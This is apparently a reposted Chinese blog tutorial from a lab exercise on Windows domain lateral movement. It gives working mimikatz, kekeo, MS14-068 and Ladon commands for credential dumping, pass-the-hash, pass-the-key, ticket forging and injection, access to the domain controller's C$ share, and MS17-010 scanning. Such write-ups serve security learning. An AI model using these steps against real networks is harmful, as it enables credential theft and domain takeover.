p68 内网安全-域横向 PTHPTKPTT 哈希票据传递

2023-10-12 05:30

本文主要是介绍p68 内网安全-域横向 PTHPTKPTT 哈希票据传递,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

数据来源

Kerberos 协议具体工作方法,在域中,简要介绍一下:

  • 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)
  • 将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读 取 kerberos 中 TGT 数据
  • 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服 务)票证,并且对 TGT 进行检测
  • 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将 加密后的结果返回给客户机
     

概念 (这三种方式的密文都通过mimikatz工具获取)

  • PTH (pass the hash)      # 利用 LM 或 NTLM 的值进行的渗透测试
  • PTT (pass the ticket)      # 利用的票据凭证 TGT 进行的渗透测试
  • PTK (pass the key)        # 利用的 ekeys aes256 进行的渗透测试

PTH和PTK

  • PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
  • 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击
# mimikatz 简单使用
# 工具运行后先调试
privilege::debug # 获取 NTLM
sekurlsa::logonPasswords# 获取AES
sekurlsa::ekeys

总结:KB2871997 补丁后的影响

  • PTH:打补丁前任意用户都可以连接打了补丁后只能 administrator 用户才可以连接

  • PTK:打补丁前不能连接打补丁后才能任意用户都可以连接(采用 aes256 连接,有两种一个aes256,另一个aes128  )

 使用 mimikatz 工具进行信息收集的截图:(文章后面会有详细的使用教程)

PTT

  • PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种常见的攻击方法:
  • MS14-068,Golden ticket,SILVER ticket。简单来说就是将连接合法的票据注入到内存中实现连接。
  • Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
  • MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是 kb3011780

演示案例:

  • 域横向移动 PTH 传递-Mimikatz
  • 域横向移动 PTK 传递-Mimikatz
  • 域横向移动 PTT 传递-MS14068&kekeo&local
  • 国产 Ladon 内网杀器测试验收-信息收集,连接等

Mimikatz官网:GitHub - gentilkiwi/mimikatz:一个玩Windows安全的小工具

案例 1-域横向移动 PTH 传递-mimikatz

PTH ntlm 传递

实验背景:你已经拿下一台内网主机,现在在这台内网主机进账号密文信息收集,看能不能撞库,其他内网主机的密文也是这个从而扩大影响

1)首先使用mimikatz收集一下目标主机保存在缓存中的账号信息

使用cmd启动mimikatz工具

privilege::debug     # 调试sekurlsa::ekeys      # 获取 aes

sekurlsa::logonpasswords   # 收集PTH攻击方式的NTLM、LM信息

2)尝试攻击 - 我这里在win2007(域成员机/子机)尝试攻击2008虚拟机(域主机/域控制机)

# 切换到mimikatz工具目录下
cd C:\Users\zhangsan\Desktop\mimikatz_trunk\x64# 启动
mimikatz# 调试
privilege::debug# 未打补丁下的工作组及域连接:
# 攻击
#                      账号          域/域名称我这里是ZS            NTLM值
sekurlsa::pth /user:administrator /domain:ZS /ntlm:442285a710fe49913e8b9a2861781eec
# 或 连接本地工作组
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

        我感觉这个攻击方式不是很实用,我在域子机2007中执行命令提示没有权限,这个是域账号,如果现实中我都有域管理员权限了我还攻击他干嘛,域管理员账户可以登录所有的域成员机,这里我能想到这个攻击方式的作用就是,通过攻击获取到域管理员主机的cmd权限然后对域管理员那台机器进行一些操作(查看、下载、删除数据),解决:在win2007等域管理员账户,或用管理员账户打开cmd

先在现在的win2007(域成员机)获取域主机的ip地址,方便后面的攻击

# 判断主域(域主机/域控/域的控制机)
net time /domain# ping主机名,获取对应的ip
ping WIN-I7NPA55KMBD.zs.com

这里就得到域主机的ip是:192.168.1.62 

 这里切换域管理员账户,继续执行攻击命令

然后就可以继续进行下一步攻击

# 尝试连接,确定攻击的目标地址(这里就用我们刚才获取到的域主机ip地址)
net use \\192.168.1.62 \c$
# 要执行的命令 域主机ip   要操作的文件目录
dir \\192.168.1.62\c$

案例 2-域横向移动 PTK 传递 - mimikatz

PTK aes256 传递

打补丁后的工作组及域连接:(不打补丁PTK是连接不了的

使用cmd启动mimikatz工具

privilege::debug     # 调试sekurlsa::ekeys      # 获取 aes

sekurlsa::pth /user:mary /domain:ZS /aes256:e25cad5bcfdeb9191e2a2b5b87402659a9ae89197d55578b011eafed64e56fde

 然后就可以继续进行下一步攻击(案例1演示了收集域主机的ip,这里就不写了)

# 尝试连接,确定攻击的目标地址(这里就用我们刚才获取到的域主机ip地址)
net use \\192.168.1.62 \c$
# 要执行的命令 域主机ip   要操作的文件目录
dir \\192.168.1.62\c$

尝试给靶机打补丁,搞不了,放弃了,(如果是现实中我们也不需要知道目标有没有打补丁,无非就两个结果:没打:使用案例1的方式攻击、打了:使用当前案例的方式攻击

案例 3-域横向移动 PTT 传递-ms14068&kekeo&本地

第一种利用漏洞:MS14-068  下载:https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe

能实现普通用户直接获取域控 system 权限(也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。)

一样是在win2007(域成员机)攻击win2008(域控) 

1)MS14-068 powershell 执行

2)执行一些命令:查看当前用户sid信息、删除用户凭证并伪造用户凭证、

# 查看当前 sid  (500是管理员、1000以上不普通用户)
whoami /user

切换账户再来

在普通的用户权限下使用mimikatz工具会报错的,可以演示一下

privilege::debug

不过可以在该工具中删除当前账号的凭证

kerberos::purge   # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

查看凭证验证一下刚才的清空

# 查看凭证列表
klist

伪造凭证 

        一些参数的解释:MS14-068.exe (自己下载的工具)域成员名(就是当前域成员机的登录用户名) 域名域域控ip(上面的案例有介绍过如何获取)域成员密码(就是当前登录的账号密码)

# 利用 ms14-068 生成 TGT 数据
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u zhangsan@zs.com -s S-1-5-21-823002632-3515170821-2603063757-1106 -d 192.168.1.62 -p 207080sA

3)将票据注入到内存中

可先输入:klist     # 查看当前的凭证列表是否为空再继续操作

# 在mimikatz工具中执行下面的命令
#                票据文件名 
kerberos::ptc TGT_zhangsan@zs.com.ccache

输入:klist    # 验证一下

4)开始攻击 

# 查看域名
net time /domain# 利用
# 操作命令  域控名            要操作的目录
dir \\WIN-I7NPA55KMBD.zs.com\c$

第二种利用工具 kekeo

下载地址:github.com

方式一: (不推荐,管理员账户才行而且操作繁琐)

1)生成票据

# 生成票据              域用户名      域名                   NTLM值
kekeo "tgt::ask /user:administrator /domain:zs.com /ntlm:442285a710fe49913e8b9a2861781eec"

2) 导入票据

# 查看凭证
klist# 如果存在之前的凭证就清除掉
kerberos::purge   # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

​ 

导入票据

# 导入票据           票据文件名
kerberos::ptt TGT_administrator@ZS.COM_krbtgt~zs.com@ZS.COM.kirbi

3)攻击

# 查看域名
net time /domain# 利用
# 操作命令  域控名            要操作的目录
dir \\WIN-I7NPA55KMBD.zs.com\c$

方式二:(推荐,操作简单,普通用户就好)(参考)

1、首先打开cmd输入下面的命令清空之前凭证

klist purge

 

2、直接生成有权限的凭证

#                                域名      普通域账号           密码
kekeo "exploit::ms14068 /domain:zs.com /user:zhangsan /password:207080sA /ptt"

 

3、直接就可以进行攻击了(dir 域控或者 PsExec 连接到域控了)

# 查看域名
net time /domain# 利用
# 操作命令  域控名            要操作的目录
dir \\WIN-I7NPA55KMBD.zs.com\c$

第三种利用本地票据(需管理权限)

前提是之前连接过,所以有本地票据,但是票据会过期,有时间限制(10小时)

这个我感觉不实用,就不演示了

privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi

总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据 

案例 4-国产 Ladon内网杀器测试验收

信息收集-协议扫描-漏洞探针-传递攻击等

官网:GitHub - k8gege/Ladon: Ladon大型内网渗透工具

下载地址:https://github.com/k8gege/Ladon/archive/refs/heads/master.zip

使用参考  (参考)

 这里需要注意他的可执行文件名改成Ladon911.exe了使用时命令也要改,或者直接改这个文件名:

  • 目标主机进行存活探测、MAC地址探测及主机名探测

        Ladon.exe 192.168.1.0/24 ONlinePC

  • 探测主机是否存活

        Ladon.exe 192.168.1.0/24 ONlineIP

  • 对其目标主机进行禁ping扫描

        Ladon.exe noping 192.168.1.100

  • 对其目标主机网段进行禁ping端口开放扫描

        Ladon.exe noping 192.168.1.100 PortScan

  • 对其目标主机网段进行禁ping指定端口3389扫描

        Ladon.exe noping 192.168.1.100 PortScan 3389

  • 对其进行禁ping扫描其是否存在MS17010漏洞

        Ladon.exe 192.168.1.0/24 MS17010

这个工具功能挺多的,可以自己看官网,这个工具的官网是中文的还挺稀奇

涉及资源

  • GitHub - gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C
  • https://github.com/k8gege/Ladon
  • 暗月免杀mimikatz
  • MS14-068/MS14-068.exe at master · ianxtianxt/MS14-068 · GitHub

这篇关于p68 内网安全-域横向 PTHPTKPTT 哈希票据传递的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/193584

相关文章

哈希leetcode-1

目录 1前言 2.例题  2.1两数之和 2.2判断是否互为字符重排 2.3存在重复元素1 2.4存在重复元素2 2.5字母异位词分组 1前言 哈希表主要是适合于快速查找某个元素(O(1)) 当我们要频繁的查找某个元素,第一哈希表O(1),第二,二分O(log n) 一般可以分为语言自带的容器哈希和用数组模拟的简易哈希。 最简单的比如数组模拟字符存储,只要开26个c

如何在页面调用utility bar并传递参数至lwc组件

1.在app的utility item中添加lwc组件: 2.调用utility bar api的方式有两种: 方法一,通过lwc调用: import {LightningElement,api ,wire } from 'lwc';import { publish, MessageContext } from 'lightning/messageService';import Ca

usaco 1.3 Prime Cryptarithm(简单哈希表暴搜剪枝)

思路: 1. 用一个 hash[ ] 数组存放输入的数字,令 hash[ tmp ]=1 。 2. 一个自定义函数 check( ) ,检查各位是否为输入的数字。 3. 暴搜。第一行数从 100到999,第二行数从 10到99。 4. 剪枝。 代码: /*ID: who jayLANG: C++TASK: crypt1*/#include<stdio.h>bool h

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

哈希表的底层实现(1)---C++版

目录 哈希表的基本原理 哈希表的优点 哈希表的缺点 应用场景 闭散列法 开散列法 开放定值法Open Addressing——线性探测的模拟实现 超大重点部分评析 链地址法Separate Chaining——哈希桶的模拟实现 哈希表(Hash Table)是一种数据结构,它通过将键(Key)映射到值(Value)的方式来实现快速的数据存储与查找。哈希表的核心概念是哈希

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

哈希表的封装和位图

文章目录 2 封装2.1 基础框架2.2 迭代器(1)2.3 迭代器(2) 3. 位图3.1 问题引入3.2 左移和右移?3.3 位图的实现3.4 位图的题目3.5 位图的应用 2 封装 2.1 基础框架 文章 有了前面map和set封装的经验,容易写出下面的代码 // UnorderedSet.h#pragma once#include "HashTable.h"

企业安全之WiFi篇

很多的公司都没有安全团队,只有运维来负责整个公司的安全,从而安全问题也大打折扣。我最近一直在给各个公司做安全检测,就把自己的心得写下来,有什么不足之处还望补充。 0×01  无线安全 很多的公司都有不怎么注重公司的无线电安全,有钱的公司买设备,没钱的公司搞人力。但是人的技术在好,没有设备的辅助,人力在牛逼也没有个卵用。一个好的路由器、交换机、IDS就像你装备了 无尽、狂徒、杀人书一